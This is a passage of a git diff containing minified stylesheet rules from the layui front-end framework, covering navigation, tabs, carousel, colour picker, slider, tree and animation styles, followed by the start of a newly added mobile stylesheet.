.layui-nav-more{content:'';width:0;height:0;border-style:solid dashed dashed;border-color:#fff transparent transparent;overflow:hidden;cursor:pointer;transition:all .2s;-webkit-transition:all .2s;position:absolute;top:50%;right:3px;margin-top:-4px;border-width:6px;border-top-color:rgba(255,255,255,.7)}.layui-nav .layui-nav-mored,.layui-nav-itemed>a .layui-nav-more{margin-top:-9px;border-style:dashed dashed solid;border-color:transparent transparent #fff}.layui-nav-child{display:none;position:absolute;left:0;top:65px;min-width:100%;line-height:36px;padding:5px 0;box-shadow:0 2px 4px rgba(0,0,0,.12);border:1px solid #d2d2d2;background-color:#fff;z-index:100;border-radius:2px;white-space:nowrap}.layui-nav .layui-nav-child a{color:#333}.layui-nav .layui-nav-child a:hover{background-color:#f2f2f2;color:#000}.layui-nav-child dd{position:relative}.layui-nav .layui-nav-child dd.layui-this a,.layui-nav-child dd.layui-this{background-color:#5FB878;color:#fff}.layui-nav-child dd.layui-this:after{display:none}.layui-nav-tree{width:200px;padding:0}.layui-nav-tree .layui-nav-item{display:block;width:100%;line-height:45px}.layui-nav-tree .layui-nav-item a{position:relative;height:45px;line-height:45px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-nav-tree .layui-nav-item a:hover{background-color:#4E5465}.layui-nav-tree .layui-nav-bar{width:5px;height:0;background-color:#009688}.layui-nav-tree .layui-nav-child dd.layui-this,.layui-nav-tree .layui-nav-child dd.layui-this a,.layui-nav-tree .layui-this,.layui-nav-tree .layui-this>a,.layui-nav-tree .layui-this>a:hover{background-color:#009688;color:#fff}.layui-nav-tree .layui-this:after{display:none}.layui-nav-itemed>a,.layui-nav-tree .layui-nav-title a,.layui-nav-tree .layui-nav-title a:hover{color:#fff!important}.layui-nav-tree .layui-nav-child{position:relative;z-index:0;top:0;border:none;box-shadow:none}.layui-nav-tree .layui-nav-child a{height:40px;line-height:40px;color:#fff;color:rgba(255,255,255,.7)}.layui-nav-tree .layui-nav-child,.layui-nav-tree .layui-nav-child a:hover{background:0 0;color:#fff}.layui-nav-tree .layui-nav-more{right:10px}.layui-nav-itemed>.layui-nav-child{display:block;padding:0;background-color:rgba(0,0,0,.3)!important}.layui-nav-itemed>.layui-nav-child>.layui-this>.layui-nav-child{display:block}.layui-nav-side{position:fixed;top:0;bottom:0;left:0;overflow-x:hidden;z-index:999}.layui-bg-blue .layui-nav-bar,.layui-bg-blue .layui-nav-itemed:after,.layui-bg-blue .layui-this:after{background-color:#93D1FF}.layui-bg-blue .layui-nav-child dd.layui-this{background-color:#1E9FFF}.layui-bg-blue .layui-nav-itemed>a,.layui-nav-tree.layui-bg-blue .layui-nav-title a,.layui-nav-tree.layui-bg-blue .layui-nav-title a:hover{background-color:#007DDB!important}.layui-breadcrumb{font-size:0}.layui-breadcrumb>*{font-size:14px}.layui-breadcrumb a{color:#999!important}.layui-breadcrumb a:hover{color:#5FB878!important}.layui-breadcrumb a cite{color:#666;font-style:normal}.layui-breadcrumb span[lay-separator]{margin:0 10px;color:#999}.layui-tab{margin:10px 0;text-align:left!important}.layui-tab[overflow]>.layui-tab-title{overflow:hidden}.layui-tab-title{position:relative;left:0;height:40px;white-space:nowrap;font-size:0;border-bottom-width:1px;border-bottom-style:solid;transition:all .2s;-webkit-transition:all .2s}.layui-tab-title li{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;font-size:14px;transition:all .2s;-webkit-transition:all .2s;position:relative;line-height:40px;min-width:65px;padding:0 15px;text-align:center;cursor:pointer}.layui-tab-title li a{display:block}.layui-tab-title .layui-this{color:#000}.layui-tab-title .layui-this:after{position:absolute;left:0;top:0;content:'';width:100%;height:41px;border-width:1px;border-style:solid;border-bottom-color:#fff;border-radius:2px 2px 0 0;box-sizing:border-box;pointer-events:none}.layui-tab-bar{position:absolute;right:0;top:0;z-index:10;width:30px;height:39px;line-height:39px;border-width:1px;border-style:solid;border-radius:2px;text-align:center;background-color:#fff;cursor:pointer}.layui-tab-bar .layui-icon{position:relative;display:inline-block;top:3px;transition:all .3s;-webkit-transition:all .3s}.layui-tab-item{display:none}.layui-tab-more{padding-right:30px;height:auto!important;white-space:normal!important}.layui-tab-more li.layui-this:after{border-bottom-color:#e2e2e2;border-radius:2px}.layui-tab-more .layui-tab-bar .layui-icon{top:-2px;top:3px\9;-webkit-transform:rotate(180deg);transform:rotate(180deg)}:root .layui-tab-more .layui-tab-bar .layui-icon{top:-2px\0/IE9}.layui-tab-content{padding:10px}.layui-tab-title li .layui-tab-close{position:relative;display:inline-block;width:18px;height:18px;line-height:20px;margin-left:8px;top:1px;text-align:center;font-size:14px;color:#c2c2c2;transition:all .2s;-webkit-transition:all .2s}.layui-tab-title li .layui-tab-close:hover{border-radius:2px;background-color:#FF5722;color:#fff}.layui-tab-brief>.layui-tab-title .layui-this{color:#009688}.layui-tab-brief>.layui-tab-more li.layui-this:after,.layui-tab-brief>.layui-tab-title .layui-this:after{border:none;border-radius:0;border-bottom:2px solid #5FB878}.layui-tab-brief[overflow]>.layui-tab-title .layui-this:after{top:-1px}.layui-tab-card{border-width:1px;border-style:solid;border-radius:2px;box-shadow:0 2px 5px 0 rgba(0,0,0,.1)}.layui-tab-card>.layui-tab-title{background-color:#f2f2f2}.layui-tab-card>.layui-tab-title li{margin-right:-1px;margin-left:-1px}.layui-tab-card>.layui-tab-title .layui-this{background-color:#fff}.layui-tab-card>.layui-tab-title .layui-this:after{border-top:none;border-width:1px;border-bottom-color:#fff}.layui-tab-card>.layui-tab-title .layui-tab-bar{height:40px;line-height:40px;border-radius:0;border-top:none;border-right:none}.layui-tab-card>.layui-tab-more .layui-this{background:0 0;color:#5FB878}.layui-tab-card>.layui-tab-more .layui-this:after{border:none}.layui-timeline{padding-left:5px}.layui-timeline-item{position:relative;padding-bottom:20px}.layui-timeline-axis{position:absolute;left:-5px;top:0;z-index:10;width:20px;height:20px;line-height:20px;background-color:#fff;color:#5FB878;border-radius:50%;text-align:center;cursor:pointer}.layui-timeline-axis:hover{color:#FF5722}.layui-timeline-item:before{content:'';position:absolute;left:5px;top:0;z-index:0;width:1px;height:100%}.layui-timeline-item:last-child:before{display:none}.layui-timeline-item:first-child:before{display:block}.layui-timeline-content{padding-left:25px}.layui-timeline-title{position:relative;margin-bottom:10px}.layui-badge,.layui-badge-dot,.layui-badge-rim{position:relative;display:inline-block;padding:0 6px;font-size:12px;text-align:center;background-color:#FF5722;color:#fff;border-radius:2px}.layui-badge{height:18px;line-height:18px}.layui-badge-dot{width:8px;height:8px;padding:0;border-radius:50%}.layui-badge-rim{height:18px;line-height:18px;border-width:1px;border-style:solid;background-color:#fff;color:#666}.layui-btn .layui-badge,.layui-btn .layui-badge-dot{margin-left:5px}.layui-nav .layui-badge,.layui-nav .layui-badge-dot{position:absolute;top:50%;margin:-8px 6px 0}.layui-tab-title .layui-badge,.layui-tab-title .layui-badge-dot{left:5px;top:-2px}.layui-carousel{position:relative;left:0;top:0;background-color:#f8f8f8}.layui-carousel>[carousel-item]{position:relative;width:100%;height:100%;overflow:hidden}.layui-carousel>[carousel-item]:before{position:absolute;content:'\e63d';left:50%;top:50%;width:100px;line-height:20px;margin:-10px 0 0 -50px;text-align:center;color:#c2c2c2;font-family:layui-icon!important;font-size:30px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-carousel>[carousel-item]>*{display:none;position:absolute;left:0;top:0;width:100%;height:100%;background-color:#f8f8f8;transition-duration:.3s;-webkit-transition-duration:.3s}.layui-carousel-updown>*{-webkit-transition:.3s ease-in-out up;transition:.3s ease-in-out up}.layui-carousel-arrow{display:none\9;opacity:0;position:absolute;left:10px;top:50%;margin-top:-18px;width:36px;height:36px;line-height:36px;text-align:center;font-size:20px;border:0;border-radius:50%;background-color:rgba(0,0,0,.2);color:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;cursor:pointer}.layui-carousel-arrow[lay-type=add]{left:auto!important;right:10px}.layui-carousel:hover .layui-carousel-arrow[lay-type=add],.layui-carousel[lay-arrow=always] .layui-carousel-arrow[lay-type=add]{right:20px}.layui-carousel[lay-arrow=always] .layui-carousel-arrow{opacity:1;left:20px}.layui-carousel[lay-arrow=none] .layui-carousel-arrow{display:none}.layui-carousel-arrow:hover,.layui-carousel-ind ul:hover{background-color:rgba(0,0,0,.35)}.layui-carousel:hover .layui-carousel-arrow{display:block\9;opacity:1;left:20px}.layui-carousel-ind{position:relative;top:-35px;width:100%;line-height:0!important;text-align:center;font-size:0}.layui-carousel[lay-indicator=outside]{margin-bottom:30px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind{top:10px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind ul{background-color:rgba(0,0,0,.5)}.layui-carousel[lay-indicator=none] .layui-carousel-ind{display:none}.layui-carousel-ind ul{display:inline-block;padding:5px;background-color:rgba(0,0,0,.2);border-radius:10px;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind li{display:inline-block;width:10px;height:10px;margin:0 3px;font-size:14px;background-color:#e2e2e2;background-color:rgba(255,255,255,.5);border-radius:50%;cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind li:hover{background-color:rgba(255,255,255,.7)}.layui-carousel-ind li.layui-this{background-color:#fff}.layui-carousel>[carousel-item]>.layui-carousel-next,.layui-carousel>[carousel-item]>.layui-carousel-prev,.layui-carousel>[carousel-item]>.layui-this{display:block}.layui-carousel>[carousel-item]>.layui-this{left:0}.layui-carousel>[carousel-item]>.layui-carousel-prev{left:-100%}.layui-carousel>[carousel-item]>.layui-carousel-next{left:100%}.layui-carousel>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel>[carousel-item]>.layui-carousel-prev.layui-carousel-right{left:0}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-left{left:-100%}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-right{left:100%}.layui-carousel[lay-anim=updown] .layui-carousel-arrow{left:50%!important;top:20px;margin:0 0 0 -18px}.layui-carousel[lay-anim=updown]>[carousel-item]>*,.layui-carousel[lay-anim=fade]>[carousel-item]>*{left:0!important}.layui-carousel[lay-anim=updown] .layui-carousel-arrow[lay-type=add]{top:auto!important;bottom:20px}.layui-carousel[lay-anim=updown] .layui-carousel-ind{position:absolute;top:50%;right:20px;width:auto;height:auto}.layui-carousel[lay-anim=updown] .layui-carousel-ind ul{padding:3px 5px}.layui-carousel[lay-anim=updown] .layui-carousel-ind li{display:block;margin:6px 0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next{top:100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-left{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-right{top:100%}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev{opacity:0}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{opacity:1}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-right{opacity:0}.layui-fixbar{position:fixed;right:15px;bottom:15px;z-index:999999}.layui-fixbar li{width:50px;height:50px;line-height:50px;margin-bottom:1px;text-align:center;cursor:pointer;font-size:30px;background-color:#9F9F9F;color:#fff;border-radius:2px;opacity:.95}.layui-fixbar li:hover{opacity:.85}.layui-fixbar li:active{opacity:1}.layui-fixbar .layui-fixbar-top{display:none;font-size:40px}body .layui-util-face{border:none;background:0 0}body .layui-util-face .layui-layer-content{padding:0;background-color:#fff;color:#666;box-shadow:none}.layui-util-face .layui-layer-TipsG{display:none}.layui-util-face ul{position:relative;width:372px;padding:10px;border:1px solid #D9D9D9;background-color:#fff;box-shadow:0 0 20px rgba(0,0,0,.2)}.layui-util-face ul li{cursor:pointer;float:left;border:1px solid #e8e8e8;height:22px;width:26px;overflow:hidden;margin:-1px 0 0 -1px;padding:4px 2px;text-align:center}.layui-util-face ul li:hover{position:relative;z-index:2;border:1px solid #eb7350;background:#fff9ec}.layui-code{position:relative;margin:10px 0;padding:15px;line-height:20px;border:1px solid #ddd;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New;font-size:12px}.layui-rate,.layui-rate *{display:inline-block;vertical-align:middle}.layui-rate{padding:10px 5px 10px 0;font-size:0}.layui-rate li i.layui-icon{font-size:20px;color:#FFB800;margin-right:5px;transition:all .3s;-webkit-transition:all .3s}.layui-rate li i:hover{cursor:pointer;transform:scale(1.12);-webkit-transform:scale(1.12)}.layui-rate[readonly] li i:hover{cursor:default;transform:scale(1)}.layui-colorpicker{width:26px;height:26px;border:1px solid #e6e6e6;padding:5px;border-radius:2px;line-height:24px;display:inline-block;cursor:pointer;transition:all .3s;-webkit-transition:all .3s}.layui-colorpicker:hover{border-color:#d2d2d2}.layui-colorpicker.layui-colorpicker-lg{width:34px;height:34px;line-height:32px}.layui-colorpicker.layui-colorpicker-sm{width:24px;height:24px;line-height:22px}.layui-colorpicker.layui-colorpicker-xs{width:22px;height:22px;line-height:20px}.layui-colorpicker-trigger-bgcolor{display:block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);border-radius:2px}.layui-colorpicker-trigger-span{display:block;height:100%;box-sizing:border-box;border:1px solid rgba(0,0,0,.15);border-radius:2px;text-align:center}.layui-colorpicker-trigger-i{display:inline-block;color:#FFF;font-size:12px}.layui-colorpicker-trigger-i.layui-icon-close{color:#999}.layui-colorpicker-main{position:absolute;z-index:66666666;width:280px;padding:7px;background:#FFF;border:1px solid #d2d2d2;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.12)}.layui-colorpicker-main-wrapper{height:180px;position:relative}.layui-colorpicker-basis{width:260px;height:100%;position:relative}.layui-colorpicker-basis-white{width:100%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(90deg,#FFF,hsla(0,0%,100%,0))}.layui-colorpicker-basis-black{width:100%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(0deg,#000,transparent)}.layui-colorpicker-basis-cursor{width:10px;height:10px;border:1px solid #FFF;border-radius:50%;position:absolute;top:-3px;right:-3px;cursor:pointer}.layui-colorpicker-side{position:absolute;top:0;right:0;width:12px;height:100%;background:linear-gradient(red,#FF0,#0F0,#0FF,#00F,#F0F,red)}.layui-colorpicker-side-slider{width:100%;height:5px;box-shadow:0 0 1px #888;box-sizing:border-box;background:#FFF;border-radius:1px;border:1px solid #f0f0f0;cursor:pointer;position:absolute;left:0}.layui-colorpicker-main-alpha{display:none;height:12px;margin-top:7px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.layui-colorpicker-alpha-bgcolor{height:100%;position:relative}.layui-colorpicker-alpha-slider{width:5px;height:100%;box-shadow:0 0 1px #888;box-sizing:border-box;background:#FFF;border-radius:1px;border:1px solid #f0f0f0;cursor:pointer;position:absolute;top:0}.layui-colorpicker-main-pre{padding-top:7px;font-size:0}.layui-colorpicker-pre{width:20px;height:20px;border-radius:2px;display:inline-block;margin-left:6px;margin-bottom:7px;cursor:pointer}.layui-colorpicker-pre:nth-child(11n+1){margin-left:0}.layui-colorpicker-pre-isalpha{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.layui-colorpicker-pre.layui-this{box-shadow:0 0 3px 2px rgba(0,0,0,.15)}.layui-colorpicker-pre>div{height:100%;border-radius:2px}.layui-colorpicker-main-input{text-align:right;padding-top:7px}.layui-colorpicker-main-input .layui-btn-container .layui-btn{margin:0 0 0 10px}.layui-colorpicker-main-input div.layui-inline{float:left;margin-right:10px;font-size:14px}.layui-colorpicker-main-input input.layui-input{width:150px;height:30px;color:#666}.layui-slider{height:4px;background:#e2e2e2;border-radius:3px;position:relative;cursor:pointer}.layui-slider-bar{border-radius:3px;position:absolute;height:100%}.layui-slider-step{position:absolute;top:0;width:4px;height:4px;border-radius:50%;background:#FFF;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.layui-slider-wrap{width:36px;height:36px;position:absolute;top:-16px;-webkit-transform:translateX(-50%);transform:translateX(-50%);z-index:10;text-align:center}.layui-slider-wrap-btn{width:12px;height:12px;border-radius:50%;background:#FFF;display:inline-block;vertical-align:middle;cursor:pointer;transition:.3s}.layui-slider-wrap:after{content:"";height:100%;display:inline-block;vertical-align:middle}.layui-slider-wrap-btn.layui-slider-hover,.layui-slider-wrap-btn:hover{transform:scale(1.2)}.layui-slider-wrap-btn.layui-disabled:hover{transform:scale(1)!important}.layui-slider-tips{position:absolute;top:-42px;z-index:66666666;white-space:nowrap;display:none;-webkit-transform:translateX(-50%);transform:translateX(-50%);color:#FFF;background:#000;border-radius:3px;height:25px;line-height:25px;padding:0 10px}.layui-slider-tips:after{content:'';position:absolute;bottom:-12px;left:50%;margin-left:-6px;width:0;height:0;border-width:6px;border-style:solid;border-color:#000 transparent transparent}.layui-slider-input{width:70px;height:32px;border:1px solid #e6e6e6;border-radius:3px;font-size:16px;line-height:32px;position:absolute;right:0;top:-15px}.layui-slider-input-btn{display:none;position:absolute;top:0;right:0;width:20px;height:100%;border-left:1px solid #d2d2d2}.layui-slider-input-btn i{cursor:pointer;position:absolute;right:0;bottom:0;width:20px;height:50%;font-size:12px;line-height:16px;text-align:center;color:#999}.layui-slider-input-btn i:first-child{top:0;border-bottom:1px solid #d2d2d2}.layui-slider-input-txt{height:100%;font-size:14px}.layui-slider-input-txt input{height:100%;border:none}.layui-slider-input-btn i:hover{color:#009688}.layui-slider-vertical{width:4px;margin-left:34px}.layui-slider-vertical .layui-slider-bar{width:4px}.layui-slider-vertical .layui-slider-step{top:auto;left:0;-webkit-transform:translateY(50%);transform:translateY(50%)}.layui-slider-vertical .layui-slider-wrap{top:auto;left:-16px;-webkit-transform:translateY(50%);transform:translateY(50%)}.layui-slider-vertical .layui-slider-tips{top:auto;left:2px}@media \0screen{.layui-slider-wrap-btn{margin-left:-20px}.layui-slider-vertical .layui-slider-wrap-btn{margin-left:0;margin-bottom:-20px}.layui-slider-vertical .layui-slider-tips{margin-left:-8px}.layui-slider>span{margin-left:8px}}.layui-tree{line-height:22px}.layui-tree .layui-form-checkbox{margin:0!important}.layui-tree-set{width:100%;position:relative}.layui-tree-pack{display:none;padding-left:20px;position:relative}.layui-tree-iconClick,.layui-tree-main{display:inline-block;vertical-align:middle}.layui-tree-line .layui-tree-pack{padding-left:27px}.layui-tree-line .layui-tree-set .layui-tree-set:after{content:'';position:absolute;top:14px;left:-9px;width:17px;height:0;border-top:1px dotted #c0c4cc}.layui-tree-entry{position:relative;padding:3px 0;height:20px;white-space:nowrap}.layui-tree-entry:hover{background-color:#eee}.layui-tree-line .layui-tree-entry:hover{background-color:rgba(0,0,0,0)}.layui-tree-line .layui-tree-entry:hover .layui-tree-txt{color:#999;text-decoration:underline;transition:.3s}.layui-tree-main{cursor:pointer;padding-right:10px}.layui-tree-line .layui-tree-set:before{content:'';position:absolute;top:0;left:-9px;width:0;height:100%;border-left:1px dotted #c0c4cc}.layui-tree-line .layui-tree-set.layui-tree-setLineShort:before{height:13px}.layui-tree-line .layui-tree-set.layui-tree-setHide:before{height:0}.layui-tree-iconClick{position:relative;height:20px;line-height:20px;margin:0 10px;color:#c0c4cc}.layui-tree-icon{height:12px;line-height:12px;width:12px;text-align:center;border:1px solid #c0c4cc}.layui-tree-iconClick .layui-icon{font-size:18px}.layui-tree-icon .layui-icon{font-size:12px;color:#666}.layui-tree-iconArrow{padding:0 5px}.layui-tree-iconArrow:after{content:'';position:absolute;left:4px;top:3px;z-index:100;width:0;height:0;border-width:5px;border-style:solid;border-color:transparent transparent transparent #c0c4cc;transition:.5s}.layui-tree-btnGroup,.layui-tree-editInput{position:relative;vertical-align:middle;display:inline-block}.layui-tree-spread>.layui-tree-entry>.layui-tree-iconClick>.layui-tree-iconArrow:after{transform:rotate(90deg) translate(3px,4px)}.layui-tree-txt{display:inline-block;vertical-align:middle;color:#555}.layui-tree-search{margin-bottom:15px;color:#666}.layui-tree-btnGroup .layui-icon{display:inline-block;vertical-align:middle;padding:0 2px;cursor:pointer}.layui-tree-btnGroup .layui-icon:hover{color:#999;transition:.3s}.layui-tree-entry:hover .layui-tree-btnGroup{visibility:visible}.layui-tree-editInput{height:20px;line-height:20px;padding:0 3px;border:none;background-color:rgba(0,0,0,.05)}.layui-tree-emptyText{text-align:center;color:#999}.layui-anim{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.layui-anim.layui-icon{display:inline-block}.layui-anim-loop{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.layui-trans,.layui-trans a{transition:all .3s;-webkit-transition:all .3s}@-webkit-keyframes layui-rotate{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}@keyframes layui-rotate{from{transform:rotate(0)}to{transform:rotate(360deg)}}.layui-anim-rotate{-webkit-animation-name:layui-rotate;animation-name:layui-rotate;-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes layui-up{from{-webkit-transform:translate3d(0,100%,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-up{from{transform:translate3d(0,100%,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-up{-webkit-animation-name:layui-up;animation-name:layui-up}@-webkit-keyframes layui-upbit{from{-webkit-transform:translate3d(0,30px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-upbit{from{transform:translate3d(0,30px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-upbit{-webkit-animation-name:layui-upbit;animation-name:layui-upbit}@-webkit-keyframes layui-scale{0%{opacity:.3;-webkit-transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale{0%{opacity:.3;-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-ms-transform:scale(1);transform:scale(1)}}.layui-anim-scale{-webkit-animation-name:layui-scale;animation-name:layui-scale}@-webkit-keyframes layui-scale-spring{0%{opacity:.5;-webkit-transform:scale(.5)}80%{opacity:.8;-webkit-transform:scale(1.1)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale-spring{0%{opacity:.5;transform:scale(.5)}80%{opacity:.8;transform:scale(1.1)}100%{opacity:1;transform:scale(1)}}.layui-anim-scaleSpring{-webkit-animation-name:layui-scale-spring;animation-name:layui-scale-spring}@-webkit-keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}@keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}.layui-anim-fadein{-webkit-animation-name:layui-fadein;animation-name:layui-fadein}@-webkit-keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}@keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}.layui-anim-fadeout{-webkit-animation-name:layui-fadeout;animation-name:layui-fadeout} \ No newline at end of file diff --git a/start/layui/css/layui.mobile.css b/start/layui/css/layui.mobile.css new file mode 100644 index 0000000..7835392 --- /dev/null +++ b/start/layui/css/layui.mobile.css @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + blockquote,body,button,dd,div,dl,dt,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,td,textarea,th,ul{margin:0;padding:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}html{font:12px 'Helvetica Neue','PingFang SC',STHeitiSC-Light,Helvetica,Arial,sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}a,button,input{-webkit-tap-highlight-color:rgba(255,0,0,0)}a{text-decoration:none;background:0 0}a:active,a:hover{outline:0}table{border-collapse:collapse;border-spacing:0}li{list-style:none}b,strong{font-weight:700}h1,h2,h3,h4,h5,h6{font-weight:500}address,cite,dfn,em,var{font-style:normal}dfn{font-style:italic}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}img{border:0;vertical-align:bottom}.layui-inline,input,label{vertical-align:middle}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0;outline:0}button,select{text-transform:none}select{-webkit-appearance:none;border:none}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}@font-face{font-family:layui-icon;src:url(../font/iconfont.eot?v=1.0.7);src:url(../font/iconfont.eot?v=1.0.7#iefix) format('embedded-opentype'),url(../font/iconfont.woff?v=1.0.7) format('woff'),url(../font/iconfont.ttf?v=1.0.7) format('truetype'),url(../font/iconfont.svg?v=1.0.7#iconfont) format('svg')}.layui-icon{font-family:layui-icon!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-box,.layui-box *{-webkit-box-sizing:content-box!important;-moz-box-sizing:content-box!important;box-sizing:content-box!important}.layui-border-box,.layui-border-box *{-webkit-box-sizing:border-box!important;-moz-box-sizing:border-box!important;box-sizing:border-box!important}.layui-inline{position:relative;display:inline-block;*display:inline;*zoom:1}.layui-edge,.layui-upload-iframe{position:absolute;width:0;height:0}.layui-edge{border-style:dashed;border-color:transparent;overflow:hidden}.layui-elip{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-unselect{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-disabled,.layui-disabled:active{background-color:#d2d2d2!important;color:#fff!important;cursor:not-allowed!important}.layui-circle{border-radius:100%}.layui-show{display:block!important}.layui-hide{display:none!important}.layui-upload-iframe{border:0;visibility:hidden}.layui-upload-enter{border:1px solid #009E94;background-color:#009E94;color:#fff;-webkit-transform:scale(1.1);transform:scale(1.1)}@-webkit-keyframes layui-m-anim-scale{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layui-m-anim-scale{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.layui-m-anim-scale{animation-name:layui-m-anim-scale;-webkit-animation-name:layui-m-anim-scale}@-webkit-keyframes layui-m-anim-up{0%{opacity:0;-webkit-transform:translateY(800px);transform:translateY(800px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layui-m-anim-up{0%{opacity:0;-webkit-transform:translateY(800px);transform:translateY(800px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}.layui-m-anim-up{-webkit-animation-name:layui-m-anim-up;animation-name:layui-m-anim-up}@-webkit-keyframes layui-m-anim-left{0%{-webkit-transform:translateX(100%);transform:translateX(100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes layui-m-anim-left{0%{-webkit-transform:translateX(100%);transform:translateX(100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.layui-m-anim-left{-webkit-animation-name:layui-m-anim-left;animation-name:layui-m-anim-left}@-webkit-keyframes layui-m-anim-right{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes layui-m-anim-right{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.layui-m-anim-right{-webkit-animation-name:layui-m-anim-right;animation-name:layui-m-anim-right}@-webkit-keyframes layui-m-anim-lout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@keyframes layui-m-anim-lout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}}.layui-m-anim-lout{-webkit-animation-name:layui-m-anim-lout;animation-name:layui-m-anim-lout}@-webkit-keyframes layui-m-anim-rout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes layui-m-anim-rout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(100%);transform:translateX(100%)}}.layui-m-anim-rout{-webkit-animation-name:layui-m-anim-rout;animation-name:layui-m-anim-rout}.layui-m-layer{position:relative;z-index:19891014}.layui-m-layer 